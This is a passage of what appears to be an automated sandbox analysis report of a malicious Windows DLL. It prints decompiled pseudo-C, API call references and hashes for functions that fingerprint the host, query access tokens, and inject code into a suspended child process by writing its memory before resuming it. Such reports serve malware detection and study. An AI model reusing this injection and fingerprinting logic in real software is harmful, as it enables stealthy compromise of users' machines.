				_t33 = E6D7FC3D4(_t43);
				E6D7F9621( &(_t43[E6D7FC3D4(_t43)]), 0x100 - _t33, L"%u", _v8);
				lstrcatW(_t43, _t56);
				_t38 = E6D7FC3D4(_t43);
				_v12 = _t38;
				CharUpperBuffW(_t43, _t38);
				return E6D7FD442(_t43, E6D7FC3D4(_t43) + _t40, 0);
			}

0x6d7fb7ea
0x6d7fb7f3
0x6d7fb7ff
0x6d7fb805
0x6d7fb807
0x6d7fb80f
0x6d7fb822
0x6d7fb831
0x6d7fb83c
0x6d7fb849
0x6d7fb863
0x6d7fb868
0x6d7fb86a
0x6d7fb871
0x6d7fb881
0x6d7fb892
0x6d7fb89c
0x6d7fb8a4
0x6d7fb8ab
0x6d7fb8ae
0x6d7fb8cb

APIs

memset.MSVCRT ref: 6D7FB807
GetComputerNameW.KERNEL32(?,?,74EC17D9,00000000,74EC11C0), ref: 6D7FB822
lstrcpynW.KERNEL32(?,?,00000100), ref: 6D7FB831
GetVolumeInformationW.KERNEL32(00000000,?,00000100,00000000,00000000,00000000,?,00000100), ref: 6D7FB863

Part of subcall function 6D7F9621: _vsnwprintf.MSVCRT ref: 6D7F963E

lstrcatW.KERNEL32 ref: 6D7FB89C
CharUpperBuffW.USER32(?,00000000), ref: 6D7FB8AE

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: BuffCharComputerInformationNameUpperVolume_vsnwprintflstrcatlstrcpynmemset
String ID:
API String ID: 3410906232-0
Opcode ID: 4b0d663527e8e542c485f4bbfd7f9de8db931463783398294169b76a454203a8
Instruction ID: 0333a947b3eec15f86777e6575836772516e90c7bc3c02165555eb8c6b724f11
Opcode Fuzzy Hash: 4b0d663527e8e542c485f4bbfd7f9de8db931463783398294169b76a454203a8
Instruction Fuzzy Hash: 2D21A4B2900218BFDB209BA4CD8DFEF77BCDF45214F114169F601D2281EB745A44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FCA67, Relevance: 4.6, APIs: 3, Instructions: 120
threadCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6D7FCA67(intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v24;
				void* _v36;
				char _v40;
				char _v80;
				char _t37;
				intOrPtr _t38;
				void* _t45;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t54;
				intOrPtr _t57;
				long _t61;
				intOrPtr _t62;
				signed int _t65;
				signed int _t68;
				signed int _t82;
				void* _t85;
				char _t86;

				_v8 = _v8 & 0x00000000;
				_v20 = __edx;
				_t65 = 0;
				_t37 = E6D7FC93F( &_v8);
				_t86 = _t37;
				_v24 = _t86;
				_t87 = _t86;
				if(_t86 == 0) {
					return _t37;
				}
				_t38 =  *0x6d80e688; // 0x2910590
				_t7 = _t38 + 0xac; // 0xfe7a5504
				E6D7FA8AF( &_v80,  *_t7 + 7, _t87);
				_t82 = _v8;
				_t68 = 0;
				_v16 = 0;
				if(_t82 == 0) {
					L20:
					E6D7F85FB( &_v24, 0);
					return _t65;
				}
				while(_t65 == 0) {
					while(_t65 == 0) {
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t45 = E6D7FAEA8( *((intOrPtr*)(_t86 + _t68 * 4)),  &_v40); // executed
						_t92 = _t45;
						if(_t45 >= 0) {
							_t54 = E6D7FCBB9(E6D7F5CCD,  &_v40, _t92, _v20); // executed
							if(_t54 != 0) {
								_t57 =  *0x6d80e684; // 0x298faa0
								_t85 =  *((intOrPtr*)(_t57 + 0xc4))(0, 0, 0,  &_v80);
								if(_t85 != 0) {
									GetLastError();
									_t61 = ResumeThread(_v36);
									_t62 =  *0x6d80e684; // 0x298faa0
									if(_t61 != 0) {
										_push(0xea60);
										_push(_t85);
										if( *((intOrPtr*)(_t62 + 0x2c))() == 0) {
											_t65 = _t65 + 1;
										}
										_t62 =  *0x6d80e684; // 0x298faa0
									}
									CloseHandle(_t85);
								}
							}
						}
						if(_v40 != 0) {
							if(_t65 == 0) {
								_t52 =  *0x6d80e684; // 0x298faa0
								 *((intOrPtr*)(_t52 + 0x104))(_v40, _t65);
							}
							_t48 =  *0x6d80e684; // 0x298faa0
							 *((intOrPtr*)(_t48 + 0x30))(_v36);
							_t50 =  *0x6d80e684; // 0x298faa0
							 *((intOrPtr*)(_t50 + 0x30))(_v40);
						}
						_t68 = _v16;
						_t47 = _v12 + 1;
						_v12 = _t47;
						if(_t47 < 2) {
							continue;
						} else {
							break;
						}
					}
					_t82 = _v8;
					_t68 = _t68 + 1;
					_v16 = _t68;
					if(_t68 < _t82) {
						continue;
					} else {
						break;
					}
					do {
						goto L19;
					} while (_t82 != 0);
					goto L20;
				}
				L19:
				E6D7F85FB(_t86, 0xfffffffe);
				_t86 = _t86 + 4;
				_t82 = _t82 - 1;
			}

0x6d7fca6d
0x6d7fca76
0x6d7fca79
0x6d7fca7b
0x6d7fca80
0x6d7fca82
0x6d7fca85
0x6d7fca87
0x6d7fcbb8
0x6d7fcbb8
0x6d7fca8d
0x6d7fca96
0x6d7fca9f
0x6d7fcaa4
0x6d7fcaa7
0x6d7fcaa9
0x6d7fcaae
0x6d7fcba5
0x6d7fcbab
0x00000000
0x6d7fcbb4
0x6d7fcab4
0x6d7fcabf
0x6d7fcacc
0x6d7fcad0
0x6d7fcad1
0x6d7fcad2
0x6d7fcad6
0x6d7fcadb
0x6d7fcadd
0x6d7fcaea
0x6d7fcaf2
0x6d7fcafd
0x6d7fcb08
0x6d7fcb0c
0x6d7fcb0e
0x6d7fcb1c
0x6d7fcb24
0x6d7fcb29
0x6d7fcb2b
0x6d7fcb30
0x6d7fcb36
0x6d7fcb38
0x6d7fcb38
0x6d7fcb39
0x6d7fcb39
0x6d7fcb3f
0x6d7fcb3f
0x6d7fcb0c
0x6d7fcaf2
0x6d7fcb46
0x6d7fcb4a
0x6d7fcb4c
0x6d7fcb55
0x6d7fcb55
0x6d7fcb5b
0x6d7fcb63
0x6d7fcb66
0x6d7fcb6e
0x6d7fcb6e
0x6d7fcb74
0x6d7fcb77
0x6d7fcb78
0x6d7fcb7e
0x00000000
0x00000000
0x00000000
0x00000000
0x6d7fcb7e
0x6d7fcb84
0x6d7fcb87
0x6d7fcb88
0x6d7fcb8d
0x00000000
0x00000000
0x00000000
0x00000000
0x6d7fcb93
0x00000000
0x00000000
0x00000000
0x6d7fcb93
0x6d7fcb93
0x6d7fcb96
0x6d7fcb9c
0x6d7fcba0

APIs

Part of subcall function 6D7FAEA8: memset.MSVCRT ref: 6D7FAEC7
Part of subcall function 6D7FAEA8: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 6D7FAEE7

Part of subcall function 6D7FCBB9: memset.MSVCRT ref: 6D7FCBFA
Part of subcall function 6D7FCBB9: NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 6D7FCC64
Part of subcall function 6D7FCBB9: NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 6D7FCC81
Part of subcall function 6D7FCBB9: NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 6D7FCCA2
Part of subcall function 6D7FCBB9: FreeLibrary.KERNEL32(00000000,?,00000000,00000000), ref: 6D7FCCB5

GetLastError.KERNEL32(?,00000001), ref: 6D7FCB0E
ResumeThread.KERNEL32(?,?,00000001), ref: 6D7FCB1C
CloseHandle.KERNEL32(00000000,?,00000001), ref: 6D7FCB3F

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryVirtual$Protectmemset$CloseCreateErrorFreeHandleLastLibraryProcessResumeThreadWrite
String ID:
API String ID: 1274669455-0
Opcode ID: 977f5a86d16b7e3cad913364fc4f14e04de8ebbc1a924aa4b37436dfb733062f
Instruction ID: d2fe16c0bba174594aedc3bcc1fd2b5616b401d7ddf358f29e78240ded4e3e96
Opcode Fuzzy Hash: 977f5a86d16b7e3cad913364fc4f14e04de8ebbc1a924aa4b37436dfb733062f
Instruction Fuzzy Hash: D2418276A04206AFDB11DFA8CBC8AAE77B9AF49325F1101B9E511E7350DB309D06CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FB9DA, Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D7FB9DA(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E6D7F85E5(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E6D7F85FB( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

0x6d7fb9dd
0x6d7fb9de
0x6d7fb9e5
0x6d7fb9ed
0x6d7fb9f1
0x6d7fb9fa
0x6d7fba40
0x6d7fba40
0x6d7fba07
0x6d7fba0f
0x6d7fba11
0x6d7fba17
0x6d7fba30
0x00000000
0x6d7fba32
0x6d7fba37
0x00000000
0x6d7fba3d
0x6d7fba19
0x6d7fba19
0x6d7fba19
0x6d7fba19
0x6d7fba17
0x6d7fba46

APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6D7F0000,00000000,00000000,?,6D7FBA79,?,00000000,?,6D7FD0EA), ref: 6D7FB9F5
GetLastError.KERNEL32(?,6D7FBA79,?,00000000,?,6D7FD0EA), ref: 6D7FB9FC

Part of subcall function 6D7F85E5: HeapAlloc.KERNEL32(00000008,?,?,6D7F8F65,00000100,?,6D7F5FAC), ref: 6D7F85F3

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,?,6D7FBA79,?,00000000,?,6D7FD0EA), ref: 6D7FBA2B

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationToken$AllocErrorHeapLast
String ID:
API String ID: 4258577378-0
Opcode ID: d5c282520e06c1b722b16fcee5aa1fcfb44518af72ecd3056cb50c8b71ff1ea9
Instruction ID: 19117cf42df095cf597152a4143ea617b3ae9c67fedd7963cd2b146f0c2f6386
Opcode Fuzzy Hash: d5c282520e06c1b722b16fcee5aa1fcfb44518af72ecd3056cb50c8b71ff1ea9
Instruction Fuzzy Hash: 4D018473608115BF87319BA6DD49E9B7EBCDE456B07114126F505D3210E630E901C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FAEA8, Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6D7FAEA8(WCHAR* __ecx, struct _PROCESS_INFORMATION* __edx) {
				struct _STARTUPINFOW _v72;
				signed int _t11;
				WCHAR* _t15;
				int _t19;
				struct _PROCESS_INFORMATION* _t20;

				_t20 = __edx;
				_t15 = __ecx;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t19 = 0x44;
				memset( &_v72, 0, _t19);
				_v72.cb = _t19;
				_t11 = CreateProcessW(0, _t15, 0, 0, 0, 4, 0, 0,  &_v72, _t20);
				asm("sbb eax, eax");
				return  ~( ~_t11) - 1;
			}

0x6d7faeb1
0x6d7faeb7
0x6d7faebb
0x6d7faebc
0x6d7faebd
0x6d7faebe
0x6d7faec2
0x6d7faec7
0x6d7faecf
0x6d7faee7
0x6d7faeed
0x6d7faef5

APIs

memset.MSVCRT ref: 6D7FAEC7
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 6D7FAEE7

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateProcessmemset
String ID:
API String ID: 2296119082-0
Opcode ID: 9a60f9a005e16f95cca355eb80a7e631b2cb8634f2971311877efe5d6834467e
Instruction ID: 889539cda88af00fc5cfe32e21a928d7d1a127ba6b77665a043a017fc79b1d76
Opcode Fuzzy Hash: 9a60f9a005e16f95cca355eb80a7e631b2cb8634f2971311877efe5d6834467e
Instruction Fuzzy Hash: 68F01CF26041087FF760D9ADDD4AFBBB6ACDB89664F110532BA05D6190E5A0AD0582A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FE1FE, Relevance: 3.0, APIs: 2, Instructions: 35
libraryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6D7FE1FE(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t10;
				void* _t12;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_t12 = __ecx;
				_t22 = __edx;
				_t5 = E6D7F95A8(_a4);
				_t25 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0x7c3) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t10 = E6D7FE1B3(_t12, _t22, _t7); // executed
					_t25 = _t10;
				}
				E6D7F85A3( &_v8);
				return _t25;
			}

0x6d7fe201
0x6d7fe204
0x6d7fe20a
0x6d7fe20c
0x6d7fe211
0x6d7fe213
0x6d7fe21d
0x6d7fe21e
0x6d7fe22d
0x6d7fe220
0x6d7fe220
0x6d7fe220
0x6d7fe231
0x6d7fe238
0x6d7fe23e
0x6d7fe23e
0x6d7fe243
0x6d7fe24e

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000001,?,6D80BA20), ref: 6D7FE220
LoadLibraryA.KERNEL32(00000000,00000000,00000001,?,6D80BA20), ref: 6D7FE22D

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID:
API String ID: 4133054770-0
Opcode ID: ab1c6f349c162ad5010239de3792b0a7fd74ed7bf8caae0ac67bb6ecf0bcd502
Instruction ID: a212aefc2785bd97463f65994baf7c73a3d8f263e98d89ae232e4f8b9b064fca
Opcode Fuzzy Hash: ab1c6f349c162ad5010239de3792b0a7fd74ed7bf8caae0ac67bb6ecf0bcd502
Instruction Fuzzy Hash: A2F02731704118ABE7149BADEA8989AB3FC9F95264310403AF501D7340EFB0EE4187E2

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FCD02, Relevance: 2.5, APIs: 2, Instructions: 48
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D7FCD02(void* __ecx, intOrPtr _a4, signed int _a8) {
				CHAR* _v8;
				int _t28;
				signed int _t31;
				signed int _t34;
				signed int _t35;
				void* _t38;
				signed int* _t41;

				_t41 = _a8;
				_t31 = 0;
				if(_t41[1] > 0) {
					_t38 = 0;
					do {
						_t3 =  &(_t41[2]); // 0xe6840d8b
						_t34 =  *_t3;
						_t35 = 0;
						_a8 = 0;
						if( *((intOrPtr*)(_t38 + _t34 + 8)) > 0) {
							_v8 = _a4 + 0x24;
							while(1) {
								_t28 = lstrcmpiA(_v8,  *( *((intOrPtr*)(_t38 + _t34 + 0xc)) + _t35 * 4));
								_t14 =  &(_t41[2]); // 0xe6840d8b
								_t34 =  *_t14;
								if(_t28 == 0) {
									break;
								}
								_t35 = _a8 + 1;
								_a8 = _t35;
								if(_t35 <  *((intOrPtr*)(_t34 + _t38 + 8))) {
									continue;
								} else {
								}
								goto L8;
							}
							 *_t41 =  *_t41 |  *(_t34 + _t38);
						}
						L8:
						_t31 = _t31 + 1;
						_t38 = _t38 + 0x10;
						_t20 =  &(_t41[1]); // 0x1374ff85
					} while (_t31 <  *_t20);
				}
				Sleep(0xa);
				return 1;
			}

0x6d7fcd08
0x6d7fcd0b
0x6d7fcd10
0x6d7fcd13
0x6d7fcd15
0x6d7fcd15
0x6d7fcd15
0x6d7fcd18
0x6d7fcd1a
0x6d7fcd21
0x6d7fcd29
0x6d7fcd2c
0x6d7fcd36
0x6d7fcd3c
0x6d7fcd3c
0x6d7fcd41
0x00000000
0x00000000
0x6d7fcd46
0x6d7fcd47
0x6d7fcd4e
0x00000000
0x00000000
0x6d7fcd50
0x00000000
0x6d7fcd4e
0x6d7fcd55
0x6d7fcd55
0x6d7fcd57
0x6d7fcd57
0x6d7fcd58
0x6d7fcd5b
0x6d7fcd5b
0x6d7fcd60
0x6d7fcd68
0x6d7fcd74

APIs

lstrcmpi.KERNEL32(?,?,00000128,00000000,?,?,?,6D7FAC4F,?,?), ref: 6D7FCD36
Sleep.KERNEL32(0000000A,00000000,?,?,?,6D7FAC4F,?,?), ref: 6D7FCD68

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleeplstrcmpi
String ID:
API String ID: 1261054337-0
Opcode ID: 7fb837c2e824a8f522eb02812290a418ec50afd4253d40aa1107807f25c62320
Instruction ID: c25b3d88602b2c205e64dee2a90ce72ed8d05aa0a3f3bd14a5c22d6aa219eb07
Opcode Fuzzy Hash: 7fb837c2e824a8f522eb02812290a418ec50afd4253d40aa1107807f25c62320
Instruction Fuzzy Hash: 2B016D31600609EFDB24CF6AC9C495ABBF9FF88329721C479E5698B211D730E942DF91

Uniqueness

Uniqueness Score: -1.00%

Function 6D7F5E77, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D7F5E77() {
				intOrPtr _t3;

				_t3 =  *0x6d80e684; // 0x298faa0
				 *((intOrPtr*)(_t3 + 0x2c))( *0x6d80e6a8, 0xffffffff);
				ExitProcess(0);
			}

0x6d7f5e77
0x6d7f5e84
0x6d7f5e8e

APIs

ExitProcess.KERNEL32(00000000), ref: 6D7F5E8E

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: f8d78228a7cb6fd69680f383c8deea1e518876ca6efa4a2edf67164d842b56ad
Instruction ID: 649bf14078e1b618844e7ab5a8624dbceaf5686815ba631c41fd5828c9c317ab
Opcode Fuzzy Hash: f8d78228a7cb6fd69680f383c8deea1e518876ca6efa4a2edf67164d842b56ad
Instruction Fuzzy Hash: D9C00271215012AFEE529BA4DA4CF0677B1AF1E322F1643A5F535DA1E6DF309400DF51

Uniqueness

Uniqueness Score: -1.00%

Function 6D7F85D0, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D7F85D0() {
				void* _t1;

				_t1 = HeapCreate(0, 0x80000, 0); // executed
				 *0x6d80e768 = _t1;
				return _t1;
			}

0x6d7f85d9
0x6d7f85df
0x6d7f85e4

APIs

HeapCreate.KERNEL32(00000000,00080000,00000000,6D7F5F88), ref: 6D7F85D9

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 52228b3a98bc04ce783ac1637be71c3d3ea8ae9e33dd0b398fe9a05946e3e634
Instruction ID: 090a9c0c37f71bbee23020a0f20b7549a0d213c3289673a728e46a725bb14daf
Opcode Fuzzy Hash: 52228b3a98bc04ce783ac1637be71c3d3ea8ae9e33dd0b398fe9a05946e3e634
Instruction Fuzzy Hash: CFB012B068130096FA502F204C0EB003570A709B06F304009B744981C0C7B01040CB55

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FBAA4, Relevance: 1.3, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E6D7FBAA4(void* __ecx, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				short _v28;
				char _v32;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr* _t33;
				intOrPtr _t34;
				char _t37;
				union _TOKEN_INFORMATION_CLASS _t44;
				char _t45;
				intOrPtr* _t48;

				_t37 = 0;
				_v28 = 0x500;
				_t45 = 0;
				_v32 = 0;
				_t20 = E6D7FB988(__ecx);
				_v16 = _t20;
				if(_t20 != 0) {
					_push( &_v24);
					_t44 = 2;
					_t21 = E6D7FB9DA(_t44); // executed
					_t48 = _t21;
					_v20 = _t48;
					if(_t48 == 0) {
						L10:
						CloseHandle(_v16);
						if(_t48 != 0) {
							E6D7F85FB( &_v20, _t37);
						}
						return _t45;
					}
					_push( &_v12);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0x220);
					_push(0x20);
					_push(2);
					_push( &_v32);
					_t29 =  *0x6d80e68c; // 0x298fc68
					if( *((intOrPtr*)(_t29 + 0xc))() == 0) {
						goto L10;
					}
					if( *_t48 <= 0) {
						L9:
						_t31 =  *0x6d80e68c; // 0x298fc68
						 *((intOrPtr*)(_t31 + 0x10))(_v12);
						_t37 = 0;
						goto L10;
					}
					_t9 = _t48 + 4; // 0x4
					_t33 = _t9;
					_v8 = _t33;
					while(1) {
						_push(_v12);
						_push( *_t33);
						_t34 =  *0x6d80e68c; // 0x298fc68
						if( *((intOrPtr*)(_t34 + 0x68))() != 0) {
							break;
						}
						_t37 = _t37 + 1;
						_t33 = _v8 + 8;
						_v8 = _t33;
						if(_t37 <  *_t48) {
							continue;
						}
						goto L9;
					}
					_t45 = 1;
					goto L9;
				}
				return _t20;
			}

0x6d7fbaab
0x6d7fbaad
0x6d7fbab4
0x6d7fbab6
0x6d7fbab9
0x6d7fbabe
0x6d7fbac3
0x6d7fbacd
0x6d7fbad0
0x6d7fbad3
0x6d7fbad8
0x6d7fbada
0x6d7fbae0
0x6d7fbb40
0x6d7fbb48
0x6d7fbb4e
0x6d7fbb55
0x6d7fbb5b
0x00000000
0x6d7fbb5c
0x6d7fbae5
0x6d7fbae6
0x6d7fbae7
0x6d7fbae8
0x6d7fbae9
0x6d7fbaea
0x6d7fbaeb
0x6d7fbaec
0x6d7fbaf1
0x6d7fbaf3
0x6d7fbaf8
0x6d7fbaf9
0x6d7fbb03
0x00000000
0x00000000
0x6d7fbb07
0x6d7fbb33
0x6d7fbb33
0x6d7fbb3b
0x6d7fbb3e
0x00000000
0x6d7fbb3e
0x6d7fbb09
0x6d7fbb09
0x6d7fbb0c
0x6d7fbb0f
0x6d7fbb0f
0x6d7fbb12
0x6d7fbb14
0x6d7fbb1e
0x00000000
0x00000000
0x6d7fbb23
0x6d7fbb24
0x6d7fbb27
0x6d7fbb2c
0x00000000
0x00000000
0x00000000
0x6d7fbb2e
0x6d7fbb32
0x00000000
0x6d7fbb32
0x6d7fbb61

APIs

Part of subcall function 6D7FB988: GetCurrentThread.KERNEL32(00000008,00000000,6D7F0000,00000000,?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB99B
Part of subcall function 6D7FB988: OpenThreadToken.ADVAPI32(00000000,?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB9A2
Part of subcall function 6D7FB988: GetLastError.KERNEL32(?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB9A9
Part of subcall function 6D7FB988: GetCurrentProcess.KERNEL32(00000008,6D7F0000,?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB9C2
Part of subcall function 6D7FB988: OpenProcessToken.ADVAPI32(00000000,?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB9C9

Part of subcall function 6D7FB9DA: GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6D7F0000,00000000,00000000,?,6D7FBA79,?,00000000,?,6D7FD0EA), ref: 6D7FB9F5
Part of subcall function 6D7FB9DA: GetLastError.KERNEL32(?,6D7FBA79,?,00000000,?,6D7FD0EA), ref: 6D7FB9FC

CloseHandle.KERNEL32(?,00000000,74EC17D9,6D7F0000), ref: 6D7FBB48

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: Token$CurrentErrorLastOpenProcessThread$CloseHandleInformation
String ID:
API String ID: 1020899596-0
Opcode ID: 118f6908d1d6ab5d434f9778ce65a6575c8a1a4d6295f3311142065c45ea3a43
Instruction ID: 4ac02fa345ab5e236556eedb6af87433fefc90c9829003d2fcbc119d67ff8c93
Opcode Fuzzy Hash: 118f6908d1d6ab5d434f9778ce65a6575c8a1a4d6295f3311142065c45ea3a43
Instruction Fuzzy Hash: 9B218671A04209AFDB10DFA9DA89E6FF7B8FF08710B51416AE511E7255D730E902CB51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6D7FD565, Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E6D7FD565(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0x6d80b848, 0, 1, 0x6d80b858, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E6D7F85E5(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
